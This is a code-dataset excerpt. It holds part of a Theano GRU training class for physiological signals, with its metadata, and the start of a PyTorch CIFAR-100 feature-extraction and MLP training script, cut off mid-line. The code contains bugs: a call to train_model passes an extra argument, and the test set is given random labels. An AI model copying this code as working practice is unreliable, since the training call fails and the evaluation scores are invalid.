model\n        \"\"\"\n        if signal2model is not None:\n            self.signal2model = signal2model\n\n        if signal_indexes is None:\n            signal_indexes = range(len(signals))\n\n        self.save(self.get_file_tag(-1, -1))\n\n        x_train = []\n        y_train = []\n        for i in signal_indexes:\n\n            # Creation of the Time Windows from the dataset\n            if n_for_each == 1:\n                if len(x_train) == 0:\n                    x_train = signals[i][:self.signal2model.window_size]\n                    y_train = signals[i][1:self.signal2model.window_size + 1]\n                else:\n                    x_train = np.vstack((x_train, signals[i][:self.signal2model.window_size]))\n                    y_train = np.vstack((y_train, signals[i][1:self.signal2model.window_size+1]))\n            else:\n                X_windows, y_end_values, n_windows, last_index = segment_signal(signals[i][:-1], self.signal2model.window_size,\n                                                                                overlap=overlap, start_index=start_index)\n                Y_windows, y_end_values, n_windows, last_index = segment_signal(signals[i][1:], self.signal2model.window_size,\n                                                                                overlap=overlap, start_index=start_index)\n\n                n_for_each = n_for_each if n_for_each < np.shape(X_windows)[0] else np.shape(X_windows)[0]\n                n_for_each = n_for_each if n_for_each % self.mini_batch_size == 0 \\\n                    else self.mini_batch_size * int(n_for_each/self.mini_batch_size)\n\n                last_training_index = int(n_windows * train_ratio)\n                # List of the windows to be inserted in the dataset\n                if random_training:\n                    window_indexes = np.random.permutation(last_training_index)  # randomly select windows\n                else:\n                    window_indexes = list(range((n_windows))) # first windows are selected\n\n\n                # Insertion of the windows of this signal in the general dataset\n                if len(x_train) == 0:\n                    # First is for train data\n                    x_train = X_windows[window_indexes[0:n_for_each], :]\n                    y_train = Y_windows[window_indexes[0:n_for_each], :]\n\n\n                    # # The rest is for test data\n                    # x_test = X_windows[last_training_index:, :]\n                    # y_test = Y_windows[last_training_index:, :]\n                else:\n                    x_train = np.append(x_train, X_windows[window_indexes[0:n_for_each], :], axis=0)\n                    y_train = np.append(y_train, Y_windows[window_indexes[0:n_for_each], :], axis=0)\n                    # x_test = np.append(x_train, X_windows[window_indexes[n_for_each:], :], axis=0)\n                    # y_test = np.append(x_train, Y_windows[window_indexes[n_for_each:], :], axis=0)\n\n                # Save test data\n                # self.save_test_data(self.signal2model.signal_directory, [x_test, y_test])\n\n        # Start time recording\n        self.start_time = time.time()\n        t1 = time.time()\n\n        # Start training model\n        returned = self.train_model(x_train, y_train, self.signal2model, track_loss, loss_interval)\n\n        print(\"Dataset trained in: ~%d seconds\" % int(time.time() - t1))\n\n        # Model last training is then saved\n        if returned:\n            self.save(self.signal2model.signal_directory, self.get_file_tag(-5, -5))\n            return True\n        else:\n            return False\n\n    def train(self, X, overlap=0.33, random_training=True, start_index=0, loss_interval=1, train_ratio=0.33):\n        return self.train_block([X], [0],\n                                overlap,\n                                random_training,\n                                start_index,\n                                loss_interval,\n                                train_ratio=train_ratio)\n\n    def train_model(self, x_train, y_train, track_loss=False, loss_interval=1):\n\n        # print(x_train)\n        # print(y_train)\n        loss = [self.calculate_total_loss(x_train, y_train)]\n        lower_error_threshold, higher_error_threshold = [10**(-5), 1]\n        lower_error = 10**(-6)\n        lower_learning_rate = 10**(-5)\n        count_to_break = 0\n        count_up_slope = 0\n        test_gradient = False\n        is_nan = False\n        last_parameters = self.get_parameters()\n        # if self.current_learning_rate <= lower_learning_rate:\n        #     self.current_learning_rate = 0.00001\n\n        for epoch in range(self.signal2model.number_of_epochs):\n            t_epoch_1 = time.time()\n\n            if lower_learning_rate > self.signal2model.current_learning_rate:\n                break\n\n            if epoch % loss_interval == 0:\n                loss.append(self.calculate_total_loss(x_train, y_train))\n                if epoch == 0:\n                    print(\"Time to calculate loss: {0} \".format(time.time() - t_epoch_1))\n\n                if epoch > 2:\n                    self.train_time = int((time.time() - self.signal2model.start_time) * 1000)\n                    print(\"Loss x100: {0}; Time: {1} min\".format((loss[-1] * 100), int(self.train_time/60000)) + str())\n\n                    relative_loss_gradient = (loss[-2] - loss[-1]) / (loss[-2] + loss[-1])\n                    if math.isnan(loss[-1]):\n                        if is_nan:\n                            print(\"ERROR NaN!!! RECOMPILE THIS ONE!!\")\n                            return False\n                            # self.restart_parameters()\n                            # print(\"Restarting parameters due to NaN loss\")\n                        else:\n                            loss.pop()\n                            self.set_parameters(last_parameters)\n                            relative_loss_gradient = (loss[-2] - loss[-1]) / (loss[-2] + loss[-1])\n                            is_nan = True\n                    else:\n                        last_parameters = self.get_parameters()\n                        is_nan = False\n\n                    if relative_loss_gradient < 0 and epoch > 10:\n                        count_up_slope += 1\n                        if count_up_slope >= 5:\n                            count_up_slope = 0\n                            if np.size(loss) > 10:\n                                print(\"Min Loss in the last {0} epochs: {1:.3f} < {2:.3f} ?\".format\n                                      (10, np.min(loss[-5:]) * 1000, np.min(loss[-10:-5]) * 1000))\n                                if np.min(loss[-5:]) > np.min(loss[-10:-5]):\n                                    self.current_learning_rate = self.current_learning_rate * 3 / 4\n                                    print(\"Adjusting learning rate: \" + str(self.current_learning_rate))\n\n                        count_to_break = 0\n                    elif relative_loss_gradient > higher_error_threshold:\n                        self.current_learning_rate = self.current_learning_rate * 5 / 4\n                        count_to_break = 0\n                    elif relative_loss_gradient < lower_error_threshold:\n                        self.current_learning_rate = self.current_learning_rate * 3 / 4\n                        test_gradient = True\n                        count_to_break += 1\n                        print(\"Adjusting learning rate to lower value: \" + str(self.current_learning_rate))\n\n                    if count_to_break > 5 or loss[-1] < lower_error:\n                        break\n\n                    elif test_gradient:\n                        test_gradient = False\n\n                # if epoch % 10 == 0 and track_loss:\n                #     plt.clf()\n                #     plt.plot(loss[1:])\n                #     plt.ylim([np.min(loss[-20:]), np.max(loss[-100:])])\n                #     if epoch % 100 == 0:\n                #         plt.ylim([0, np.max(loss)])\n                #     plt.pause(0.05)\n\n                t1 = time.time()\n            if epoch % 10 == 0 or epoch == 0:\n                print(\"In epoch %d of %d\" % (epoch, self.signal2model.number_of_epochs))\n                # For each training example...\n            indexes = np.random.permutation(np.shape(y_train)[0])\n            for i in range(0, len(indexes), self.mini_batch_size):\n                # One SGD step\n                ind = indexes[i:i + self.mini_batch_size]\n                if self.model_type == ModelType.SGD:\n                    N = np.shape(x_train)[-1]\n                    self.sgd_step(np.reshape(x_train[i, :], (N)), np.reshape(y_train[i, :],(N)),\n                                  self.current_learning_rate, self.signal2model.decay)\n                elif self.model_type == ModelType.CROSS_SGD:\n                    N = np.shape(x_train)[-2]\n                    M = np.shape(x_train)[-1]\n                    self.sgd_step(np.reshape(x_train[i], (N, M)), np.reshape(y_train[i], (N, M)),\n                                  self.current_learning_rate, self.signal2model.decay)\n                elif self.model_type == ModelType.CROSS_MBSGD:\n                    N = np.shape(x_train)[-2]\n                    M = np.shape(x_train)[-1]\n                    self.sgd_step(np.reshape(x_train[ind], (self.mini_batch_size, N, M)),\n                                  np.reshape(y_train[ind], (self.mini_batch_size, N, M)),\n                                  self.current_learning_rate, self.signal2model.decay)\n                else:\n                    self.sgd_step(x_train[ind, :], y_train[ind, :], self.current_learning_rate, self.signal2model.decay)\n\n            if epoch % 10 == 0 or epoch == 0:\n                t2 = time.time()\n                print(\"SGD Step time: ~%d seconds\" % int(t2 - t1))\n                sys.stdout.flush()\n\n            if epoch > 1 and epoch % self.signal2model.save_interval == 0:\n                self.save(dir_name=self.signal2model.signal_directory, file_tag=self.get_file_tag(0, epoch))\n\n            if epoch % 10 == 0 or epoch == 0:\n                t2 = time.time()\n                print(\"Epoch time: ~%d seconds\" % int(t2 - t_epoch_1))\n                sys.stdout.flush()\n\n        return True\n\n    def save(self, file_tag=None, dir_name=None):\n        \"\"\"\n        Saves the model according to the file_tag\n        :param dir_name: -string - directory name where the corresponding to the model for saving is\n                            -> may use model.get_directory_tag(directory_name, batch_size, window_size)\n                            -> if given None it will have the value model.get_directory_tag(model_name, 0, 0)\n\n        :param file_tag: - string - file_tag corresponding to the model for loading\n                            -> use model.get_file_tag(dataset, epoch)\n                            -> if given None it will assume that is the last version of the model get_file_tag(-5,-5)\n        :return: None\n        \"\"\"\n\n\n        if file_tag is None:\n            file_tag = self.get_file_tag(-5, -5)\n\n        self.train_time = int((time.time() - self.start_time) * 1000)\n\n        if dir_name is None:\n            dir_name = self.signal2model.signal_directory\n\n        dir_name = GRU_DATA_DIRECTORY +dir_name + '/'\n\n        if not os.path.exists(dir_name):\n            os.makedirs(dir_name)\n\n        filename = dir_name + file_tag + '.npz'\n        print(\"Saving model to file: \" + filename)\n        np.savez(filename,\n                 E=self.E.get_value(),\n                 U=self.U.get_value(),\n                 W=self.W.get_value(),\n                 V=self.V.get_value(),\n                 b=self.b.get_value(),\n                 c=self.c.get_value(),\n                 signal2model=self.signal2model\n                 )\n\n    def load(self, file_tag=None, dir_name=None):\n        \"\"\"\n        Loads the model\n\n        :param dir_name: -string - directory name where the corresponding to the model for loading is\n                            -> may use model.get_directory_tag(dataset, epoch)\n\n        :param file_tag: - string - file_tag corresponding to the model for loading\n                            -> use model.get_file_tag(dataset, epoch)\n                            if given None it will assume that is the last version of the model get_file_tag(-5,-5)\n        :return: None\n        \"\"\"\n\n        print(\"Starting sinal loading...\")\n        if file_tag is None:\n            file_tag = self.get_file_tag(-5, -5)\n\n        if dir_name is None:\n            dir_name = self.signal2model.signal_directory\n\n        dir_name = GRU_DATA_DIRECTORY + dir_name + '/'\n\n        npzfile = np.load(dir_name + file_tag + \".npz\")\n        E, U, W, V, b, c = [], [], [], [], [], []\n        print(\"Building model from %s with hidden_dim=%d signal_dim=%d \" % (\n            self.model_name, self.hidden_dim, self.signal_dim))\n        try:\n            E = npzfile[\"E\"]\n            self.E.set_value(E)\n        except:\n            print(\"Error loading variable {0}\".format(\"E\"))\n        try:\n            U = npzfile[\"U\"]\n            self.U.set_value(U)\n        except:\n            print(\"Error loading variable {0}\".format(\"U\"))\n        try:\n            W = npzfile[\"W\"]\n            self.W.set_value(W)\n        except:\n            print(\"Error loading variable {0}\".format(\"W\"))\n        try:\n            V = npzfile[\"V\"]\n            self.V.set_value(V)\n        except:\n            print(\"Error loading variable {0}\".format(\"V\"))\n        try:\n            b = npzfile[\"b\"]\n            self.b.set_value(b)\n        except:\n            print(\"Error loading variable {0}\".format(\"b\"))\n        try:\n            c = npzfile[\"c\"]\n            self.c.set_value(c)\n        except:\n            print(\"Error loading variable {0}\".format(\"c\"))\n        try:\n            signal2model = npzfile[\"signal2model\"]\n            self.signal2model = signal2model\n        except:\n            print(\"Error loading variable {0}\".format(\"signal2model\"))\n\n        sys.stdout.flush()\n\n    def save_test_data(self, dir_name, test_data):\n        \"\"\"\n        Saves test data used for the training of this model.\n        :param dir_name: - string - directory name where the testing file is\n        :param test_data: - list - list[0] - vector with the corresponding X_test (input) time windows\n                                   list[1] - vector with the corresponding Y_test (labels) time windows\n        :return: None\n        \"\"\"\n\n        print(\"Saving test data...\")\n        filename = GRU_DATA_DIRECTORY + dir_name + '/' + self.model_name + '_test_data.npz'\n        np.savez(filename, test_data=test_data)\n\n    @staticmethod\n    def load_test_data(model_name, dir_name):\n        \"\"\"\n        Loads test data used for the training of this model.\n        :param model_name: - string - model_name (may access by model.model_name)\n        :param dir_name: - string - directory name where the testing file is\n        :return: - list - list[0] - vector with the corresponding X_test (input) time windows\n                          list[1] - vector with the corresponding Y_test (labels) time windows\n        \"\"\"\n        print(\"Loading test data...\")\n        filename = GRU_DATA_DIRECTORY + dir_name + '/' + model_name + '_test_data.npz'\n        npzfile = np.load(filename)\n        return npzfile[\"test_data\"]\n\n    def get_file_tag(self, dataset=0, epoch=-5):\n        \"\"\"\n        Gives a standard name for the file, depending on the #dataset and #epoch\n        :param dataset: - int - dataset number\n                        (-1 if havent start training, -5 when the last batch training condition was met)\n        :param epoch: - int - the last epoch number the dataset was trained\n                        (-1 if havent start training, -5 when the training condition was met)\n        :return: file_tag composed as GRU_SIGNALNAME[SD.HD.BTTT.DATASET.EPOCH] -> example GRU_ecg[64.16.0.-5]\n        \"\"\"\n\n        return 'GRU_{0}[{1}.{2}.{3}.{4}.{5}]'.\\\n                    format(self.signal2model.model_name, self.signal2model.signal_dim, self.signal2model.hidden_dim,\n                           self.signal2model.bptt_truncate, dataset, epoch)\n\n    def get_directory_tag(self, dir_name=None, B=128, W=256):\n        \"\"\"\n        Gives a standard name to the directoy.\n\n        :param dir_name: - string - TAG for the directory name - discribing the dataset for training\n        :param B: - int - Batch size\n        :param W: - int - Window size\n\n        :return: Standard directory name composed as TAG[B.W] -> example ECG[256.128]\n        \"\"\"\n        if dir_name is None:\n            dir_name = self.model_name.upper()\n\n        return dir_name+'[{0}.{1}]'.format(B, W)\n\n    def get_parameters(self):\n        return [self.E.get_value(), self.V.get_value(), self.U.get_value(), self.W.get_value(), self.b.get_value(),\n                self.c.get_value()]\n\n    def set_parameters(self, parameters):\n        self.E, self.V, self.U, self.W, self.b, self.c = parameters\n\n    def restart_parameters(self):\n        E, V, U, W, b, c = self._get_new_parameters()\n\n        self.E = theano.shared(name='E', value=E.astype(theano.config.floatX))\n        self.U = theano.shared(name='U', value=U.astype(theano.config.floatX))\n        self.W = theano.shared(name='W', value=W.astype(theano.config.floatX))\n        self.V = theano.shared(name='V', value=V.astype(theano.config.floatX))\n        self.b = theano.shared(name='b', value=b.astype(theano.config.floatX))\n        self.c = theano.shared(name='c', value=c.astype(theano.config.floatX))\n\n        # SGD / rmsprop: Initialize parameters\n        self.mE = theano.shared(name='mE', value=np.zeros(E.shape).astype(theano.config.floatX))\n        self.mU = theano.shared(name='mU', value=np.zeros(U.shape).astype(theano.config.floatX))\n        self.mV = theano.shared(name='mV', value=np.zeros(V.shape).astype(theano.config.floatX))\n        self.mW = theano.shared(name='mW', value=np.zeros(W.shape).astype(theano.config.floatX))\n        self.mb = theano.shared(name='mb', value=np.zeros(b.shape).astype(theano.config.floatX))\n        self.mc = theano.shared(name='mc', value=np.zeros(c.shape).astype(theano.config.floatX))\n\n    @abstractmethod\n    def _get_new_parameters(self):\n        pass", "sub_path": "models_dev/LibphysGRU.py", "file_name": "LibphysGRU.py", "file_ext": "py", "file_size_in_byte": 23235, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "theano.shared", "line_number": 30, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 30, "usage_type": "attribute"}, {"api_name": "theano.shared", "line_number": 31, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 31, "usage_type": "attribute"}, {"api_name": "theano.shared", "line_number": 32, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 32, "usage_type": "attribute"}, {"api_name": "theano.shared", "line_number": 33, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 33, "usage_type": "attribute"}, {"api_name": "theano.shared", "line_number": 34, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 34, "usage_type": "attribute"}, {"api_name": "theano.shared", "line_number": 35, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 35, "usage_type": "attribute"}, {"api_name": "theano.shared", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 38, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 38, "usage_type": "attribute"}, {"api_name": "theano.shared", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 39, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 39, "usage_type": "attribute"}, {"api_name": "theano.shared", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 40, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 40, "usage_type": "attribute"}, {"api_name": "theano.shared", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 41, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 41, "usage_type": "attribute"}, {"api_name": "theano.shared", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 42, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 42, "usage_type": "attribute"}, {"api_name": "theano.shared", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 43, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 43, "usage_type": "attribute"}, {"api_name": "theano.tensor.grad", "line_number": 51, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 51, "usage_type": "name"}, {"api_name": "theano.tensor.scalar", "line_number": 57, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 57, "usage_type": "name"}, {"api_name": "theano.tensor.scalar", "line_number": 58, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 58, "usage_type": "name"}, {"api_name": "theano.function", "line_number": 70, "usage_type": "call"}, {"api_name": "theano.In", "line_number": 71, "usage_type": "call"}, {"api_name": "theano.tensor.sqrt", "line_number": 73, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 73, "usage_type": "name"}, {"api_name": "theano.tensor.sqrt", "line_number": 74, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 74, "usage_type": "name"}, {"api_name": "theano.tensor.sqrt", "line_number": 75, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 75, "usage_type": "name"}, {"api_name": "theano.tensor.sqrt", "line_number": 76, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 76, "usage_type": "name"}, {"api_name": "theano.tensor.sqrt", "line_number": 77, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 77, "usage_type": "name"}, {"api_name": "theano.tensor.sqrt", "line_number": 78, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 78, "usage_type": "name"}, {"api_name": "numpy.vstack", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 132, "usage_type": "call"}, {"api_name": "DeepLibphys.utils.functions.common.segment_signal", "line_number": 134, "usage_type": "call"}, {"api_name": "DeepLibphys.utils.functions.common.segment_signal", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.random.permutation", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 146, "usage_type": "attribute"}, {"api_name": "numpy.append", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 163, "usage_type": "call"}, {"api_name": "time.time", "line_number": 171, "usage_type": "call"}, {"api_name": "time.time", "line_number": 172, "usage_type": "call"}, {"api_name": "time.time", "line_number": 177, "usage_type": "call"}, {"api_name": "time.time", "line_number": 211, "usage_type": "call"}, {"api_name": "time.time", "line_number": 219, "usage_type": "call"}, {"api_name": "time.time", "line_number": 222, "usage_type": "call"}, {"api_name": "math.isnan", "line_number": 226, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 245, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 247, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 248, "usage_type": "call"}, {"api_name": "time.time", "line_number": 276, "usage_type": "call"}, {"api_name": "numpy.random.permutation", "line_number": 280, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 280, "usage_type": "attribute"}, {"api_name": "numpy.shape", "line_number": 280, "usage_type": "call"}, {"api_name": "DeepLibphys.utils.functions.common.ModelType.SGD", "line_number": 284, "usage_type": "attribute"}, {"api_name": "DeepLibphys.utils.functions.common.ModelType", "line_number": 284, "usage_type": "name"}, {"api_name": "numpy.shape", "line_number": 285, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 286, "usage_type": "call"}, {"api_name": "DeepLibphys.utils.functions.common.ModelType.CROSS_SGD", "line_number": 288, "usage_type": "attribute"}, {"api_name": "DeepLibphys.utils.functions.common.ModelType", "line_number": 288, "usage_type": "name"}, {"api_name": "numpy.shape", "line_number": 289, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 290, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 291, "usage_type": "call"}, {"api_name": "DeepLibphys.utils.functions.common.ModelType.CROSS_MBSGD", "line_number": 293, "usage_type": "attribute"}, {"api_name": "DeepLibphys.utils.functions.common.ModelType", "line_number": 293, "usage_type": "name"}, {"api_name": "numpy.shape", "line_number": 294, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 295, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 296, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 297, "usage_type": "call"}, {"api_name": "time.time", "line_number": 303, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 305, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 305, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 311, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 313, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 313, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 334, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 341, "usage_type": "call"}, {"api_name": "os.path", "line_number": 341, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 342, "usage_type": "call"}, {"api_name": "numpy.savez", "line_number": 346, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 378, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 418, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 418, "usage_type": "attribute"}, {"api_name": "numpy.savez", "line_number": 431, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 444, "usage_type": "call"}, {"api_name": "theano.shared", "line_number": 486, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 486, "usage_type": "attribute"}, {"api_name": "theano.shared", "line_number": 487, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 487, "usage_type": "attribute"}, {"api_name": "theano.shared", "line_number": 488, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 488, "usage_type": "attribute"}, {"api_name": "theano.shared", "line_number": 489, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 489, "usage_type": "attribute"}, {"api_name": "theano.shared", "line_number": 490, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 490, "usage_type": "attribute"}, {"api_name": "theano.shared", "line_number": 491, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 491, "usage_type": "attribute"}, {"api_name": "theano.shared", "line_number": 494, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 494, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 494, "usage_type": "attribute"}, {"api_name": "theano.shared", "line_number": 495, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 495, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 495, "usage_type": "attribute"}, {"api_name": "theano.shared", "line_number": 496, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 496, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 496, "usage_type": "attribute"}, {"api_name": "theano.shared", "line_number": 497, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 497, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 497, "usage_type": "attribute"}, {"api_name": "theano.shared", "line_number": 498, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 498, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 498, "usage_type": "attribute"}, {"api_name": "theano.shared", "line_number": 499, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 499, "usage_type": "call"}, {"api_name": "theano.config", "line_number": 499, "usage_type": "attribute"}, {"api_name": "abc.abstractmethod", "line_number": 501, "usage_type": "name"}]}
+{"seq_id": "415924958", "text": "import torch\nfrom torchvision import datasets, transforms\nfrom wide_resnet import WideResNet\nfrom models_yki import NoisyMLP\nimport torch\nimport torch.nn as nn\nimport torch.backends.cudnn as cudnn\nimport copy\nimport argparse\nimport os\nimport numpy as np\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--noise_layer\", type=int, required=True, help=\"-1 means training whole networks\")\nparser.add_argument(\"--hdim\", type=int, default=1)\nparser.add_argument('--max_epoch', default=100, type=int,\n                    help='number of total epochs to run')\nparser.add_argument('-b', '--batch-size', default=128, type=int,\n                    help='mini-batch size (default: 32)')\nparser.add_argument(\"--save_dir\", type=str, default=\"ckpt\")\nparser.add_argument(\"--policy\", type=str, default=\"NoisyMLPonWRN\", choices=[\"NoisyMLPonWRN\"])\nparser.add_argument(\"--model\", type=str, default=\"NoisyMLP\")\nparser.add_argument(\"--rand_seed\", type=int, default=11)\nparser.add_argument('--lr', '--learning-rate', default=0.001, type=float,\n                    help='initial learning rate')\nparser.add_argument('--weight-decay', '--wd', default=0.0005, type=float,\n                    help='weight decay (default: 5e-4)')\nargs = parser.parse_args()\n\nCKPT_DIR = args.save_dir\nSAVE_EPOCH = 100\ndevice = torch.device('cuda')\n\n\nckpt = torch.load('augment_cifar100_NoisyWideResNet_na_na_0_relu_0.pth.tar')\nwrn = WideResNet(28, 10, 0.3, 100)\nwrn.load_state_dict(ckpt[\"model_state_dict\"])\nwrn.to(device)\nwrn.eval()\n\n'''\ntransform = transforms.Compose([transforms.RandomCrop(32, 4),\n    transforms.RandomHorizontalFlip(), transforms.ToTensor(),\n    transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224,\n        0.225])])#,\n'''\ntest_transform = transforms.Compose([transforms.ToTensor(),\n    transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224,\n        0.225])])#,\n    #transforms.Lambda(lambda x: wrn.forward_conv(x.view(-1, 3, 32,\n    #    32)).detach())])\n\ntrain_set = datasets.CIFAR100(root='../data',train=True, download=True,\n            transform=test_transform)\ntest_set = datasets.CIFAR100(root='../data',train=False, download=True,\n            transform=test_transform)\n\n\ntrain_loader =  torch.utils.data.DataLoader(train_set,\n        batch_size=args.batch_size,\n        shuffle=False, num_workers=4)\ntest_loader =  torch.utils.data.DataLoader(test_set, batch_size=args.batch_size,\n        shuffle=False, num_workers=4)\n\nX_list = []\ny_list = []\nfor X, y in train_loader:\n    X = wrn.forward_conv(X.to(device)).cpu().data.numpy()\n    X_list.append(X)\n    y_list.append(y.numpy())\nX = np.concatenate(X_list, axis=0).astype(np.float32)\ny = np.concatenate(y_list).astype(np.int64)\nprint(y)\nnp.save(\"X.wrn.train\", X)\nnp.save(\"y.wrn.train\", y)\nprint(X.shape, y.shape)\ntrain_set = torch.utils.data.TensorDataset(torch.from_numpy(X), torch.from_numpy(y))\n\nX_list_ = []\ny_list_ = []\nfor X_, y_ in test_loader:\n    X_ = wrn.forward_conv(X_.to(device)).cpu().data.numpy()\n    X_list_.append(X_)\n    y_list_.append(y_.numpy())\nX_ = np.concatenate(X_list_, axis=0).astype(np.float32)\ny_ = np.concatenate(y_list_).astype(np.int64)\nprint(y_)\nnp.save(\"X.wrn.test\", X_)\nnp.save(\"y.wrn.test\", y_)\nprint(X_.shape, y_.shape)\ntest_set = torch.utils.data.TensorDataset(torch.from_numpy(X_), torch.from_numpy(np.random.randint(0, 100, len(X_))))\n\n#X = np.load(\"X.wrn.train.npy\")\n#y = np.load(\"y.wrn.train.npy\")\n#train_set = torch.utils.data.TensorDataset(torch.from_numpy(X), torch.from_numpy(y))\n\n#X_ = np.load(\"X.wrn.test.npy\")\n#y_ = np.load(\"y.wrn.test.npy\")\n#test_set = torch.utils.data.TensorDataset(torch.from_numpy(X_), torch.from_numpy(y_))\n\ntrain_loader =  torch.utils.data.DataLoader(train_set,\n        batch_size=args.batch_size,\n        shuffle=True, num_workers=4)\ntest_loader =  torch.utils.data.DataLoader(test_set, batch_size=args.batch_size,\n        shuffle=False, num_workers=4)\nvalid_loader = test_loader\n\n    \n\n\n\n\n\ndef main():\n    ckpt_name = \"{}_{}_{}_{}_{}.pth.tar\".format('augment_cifar100', args.policy,\n            args.noise_layer, args.hdim, args.rand_seed)\n    np.random.seed(args.rand_seed)\n    torch.manual_seed(args.rand_seed)\n    torch.cuda.manual_seed_all(args.rand_seed)\n    # create model\n    model = NoisyMLP(input_dim=640, n_cls=100, noise_layer=args.noise_layer, times=args.hdim,\n            dropout=0)\n    #\n    param_list, name_list, noise_param_list, noise_name_list = [], [], [], []\n    for name, param in model.named_parameters():\n        if param.requires_grad:\n            param_list.append(param)\n            name_list.append(name)\n        else:\n            noise_param_list.append(param)\n            noise_name_list.append(name)\n    #\n    optimizer = torch.optim.Adam(model.parameters(), args.lr)\n    if torch.cuda.is_available():\n        model = model.cuda()\n        #cudnn.benchmark = True\n    \n    # optionally resume from a checkpoint\n    if os.path.exists(os.path.join(CKPT_DIR, ckpt_name)):\n        checkpoint = torch.load(os.path.join(CKPT_DIR, ckpt_name))\n        epoch = start_epoch = checkpoint['epoch']\n        test_acc = checkpoint['test_acc']\n        model.load_state_dict(checkpoint['model_state_dict'])\n        optimizer.load_state_dict(checkpoint['optim_state_dict'])\n        train_loss_list = checkpoint[\"train_loss_list\"]\n        train_acc_list = checkpoint[\"train_acc_list\"]\n        valid_loss_list = checkpoint[\"valid_loss_list\"]\n        valid_acc_list = checkpoint[\"valid_acc_list\"]\n        non_zero_list = checkpoint[\"non_zero_list\"]\n        best_valid_acc = max(valid_acc_list)\n        print(\" *** Resume: [{}] Test Acc: {:.2f} at epoch: {} ***\".format(ckpt_name, checkpoint[\"test_acc\"] * 100,\n                                                                           checkpoint[\"epoch\"]))\n    elif os.path.exists(os.path.join(CKPT_DIR, \"best_\" + ckpt_name)):\n        checkpoint = torch.load(os.path.join(CKPT_DIR, \"best_\" + ckpt_name))\n        epoch = start_epoch = checkpoint['epoch']\n        test_acc = checkpoint['test_acc']\n        model.load_state_dict(checkpoint['model_state_dict'])\n        optimizer.load_state_dict(checkpoint['optim_state_dict'])\n        train_loss_list = checkpoint[\"train_loss_list\"]\n        train_acc_list = checkpoint[\"train_acc_list\"]\n        valid_loss_list = checkpoint[\"valid_loss_list\"]\n        valid_acc_list = checkpoint[\"valid_acc_list\"]\n        non_zero_list = checkpoint[\"non_zero_list\"]\n        best_valid_acc = max(valid_acc_list)\n        print(\" *** Resume: [{}] Test Acc: {:.2f}, epoch: 